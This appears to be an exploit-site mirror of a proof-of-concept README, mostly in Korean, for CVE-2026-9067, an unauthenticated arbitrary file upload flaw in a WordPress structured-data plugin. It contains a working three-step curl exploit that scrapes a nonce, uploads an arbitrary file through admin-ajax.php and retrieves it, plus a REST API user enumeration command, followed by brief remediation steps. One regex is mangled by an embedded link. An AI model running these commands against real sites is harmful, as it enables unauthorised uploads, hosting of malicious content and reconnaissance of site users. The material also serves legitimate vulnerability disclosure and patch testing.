Sploitus

Exploit for By-Poloss..-..

kitploit Β· 2026-08-24

Exploit Code

MARKDOWN116 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POLOSSS-BY-POLOSS..-..CVE-2026-9067
# POC & Xploit - κ°œλ… 증λͺ… 디렉토리

WordPress λ³΄μ•ˆ ν…ŒμŠ€νŠΈ ν™˜κ²½μ—μ„œ 발견된 취약점에 λŒ€ν•œ λ¬Έμ„œ 및 μ΅μŠ€ν”Œλ‘œμž‡

* * *

## 취약점 λͺ©λ‘

CVE ID| ν”ŒλŸ¬κ·ΈμΈ| 심각도| μœ ν˜•| μƒνƒœ  
---|---|---|---|---  
CVE-2026-9067| Schema & Structured Data for WP & AMP| λ†’μŒ (8.1)| λ¬΄μ œν•œ 파일 μ—…λ‘œλ“œ| λ¬Έμ„œν™”λ¨  
  
* * *

## CVE-2026-9067

### λΉ λ₯Έ μš”μ•½

### 취약점 μ„€λͺ…

Schema & Structured Data for WP & AMP ν”ŒλŸ¬κ·ΈμΈ 버전 1.60 λ―Έλ§Œμ€ 파일 μ—…λ‘œλ“œλ₯Ό μœ„ν•œ AJAX ν•Έλ“€λŸ¬μ—μ„œ μ‚¬μš©μž κΆŒν•œμ„ κ²€μ¦ν•˜μ§€ μ•Šκ³  μ—…λ‘œλ“œλœ 파일 ν˜•μ‹μ„ κ²€μ¦ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. 이둜 인해 μΈμ¦λ˜μ§€ μ•Šμ€ κ³΅κ²©μžκ°€ μž„μ˜ νŒŒμΌμ„ μ—…λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

### 영ν–₯

  * **μ½˜ν…μΈ  ν˜ΈμŠ€νŒ…** : κ³΅κ²©μžκ°€ ν”Όν•΄μž 도메인에 μ•…μ„± μ½˜ν…μΈ λ₯Ό ν˜ΈμŠ€νŒ…ν•  수 있음
  * **λ””μŠ€ν¬ μ†ŒλΉ„** : μž„μ˜ 파일 μ—…λ‘œλ“œλ‘œ λ””μŠ€ν¬ 곡간을 μ†Œμ§„ν•  수 있음
  * **ν‰νŒ μ•…μš©** : ν”Όν•΄μž λ„λ©”μΈμ—μ„œμ˜ 맬웨어, ν”Όμ‹± νŽ˜μ΄μ§€ 배포



**μ€‘μš” 참고사항** : WordPress μ½”μ–΄λŠ” μ‹€ν–‰ 파일(`.php`, `.phtml`, `.html`, `.svg`)을 μ°¨λ‹¨ν•˜λ―€λ‘œ, 이 μ·¨μ•½μ μœΌλ‘œ μΈν•œ **직접적인 RCE κ²½λ‘œλŠ” μ—†μŠ΅λ‹ˆλ‹€**.

### Files

root@kitploit:~
    
    
    CVE-2026-9067/
    β”œβ”€β”€ CVE-2026-9067.md       # Dokumentasi lengkap (file ini)
    β”œβ”€β”€ CVE-2026-9067.py       # Python exploit dengan multi-threading
    β”œβ”€β”€ CVE-2026-9067.sh       # Bash/Shell PoC script
    └── CVE-2026-9067_exploit.sh  # Alternative Bash PoC
    

### λΉ λ₯Έ PoC

root@kitploit:~
    
    
    # Step 1: Get nonce
    NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
    
    # Step 2: Upload arbitrary file
    curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
      -F 'action=saswp_rf_form_image_upload' \
      -F "saswp_rf_form_nonce=$NONCE" \
      -F 'some-email@example.com;type=image/png;filename=evil.csv'
    
    # Step 3: Access uploaded file
    curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
    

* * *

## ν™˜κ²½ 정보

* * *

## ν…ŒμŠ€νŠΈ λͺ…λ Ήμ–΄

### μ‚¬μ΄νŠΈ μƒνƒœ 확인

root@kitploit:~
    
    
    curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
    

### ν”ŒλŸ¬κ·ΈμΈ 버전 확인

root@kitploit:~
    
    
    curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
    

### μ‚¬μš©μž μ—΄κ±°

root@kitploit:~
    
    
    curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
    

* * *

## ν•΄κ²° 방법

  1. **ν”ŒλŸ¬κ·ΈμΈ μ—…κ·Έλ ˆμ΄λ“œ** : Schema & Structured Data for WP & AMPλ₯Ό 버전 1.60 μ΄μƒμœΌλ‘œ μ—…λ°μ΄νŠΈ
  2. **ν”ŒλŸ¬κ·ΈμΈ λΉ„ν™œμ„±ν™”** : μ—…κ·Έλ ˆμ΄λ“œκ°€ λΆˆκ°€λŠ₯ν•˜λ©΄ ν”ŒλŸ¬κ·ΈμΈ λΉ„ν™œμ„±ν™”
  3. **κ°•ν™”** : 
     * `DISALLOW_FILE_MODIFICATIONS` μƒμˆ˜ μ„€μ •
     * `.htaccess`λ₯Ό 톡해 μ—…λ‘œλ“œ λ””λ ‰ν† λ¦¬μ—μ„œ PHP μ‹€ν–‰ λΉ„ν™œμ„±ν™”
     * WAF κ·œμΉ™ κ΅¬ν˜„



* * *

## 참고 자료

  * NVD CVE-2026-9067
  * WPScan Vulnerability Database
  * WordPress ν”ŒλŸ¬κ·ΈμΈ νŽ˜μ΄μ§€
  * 원본 μ—°κ΅¬μž: 0xBassia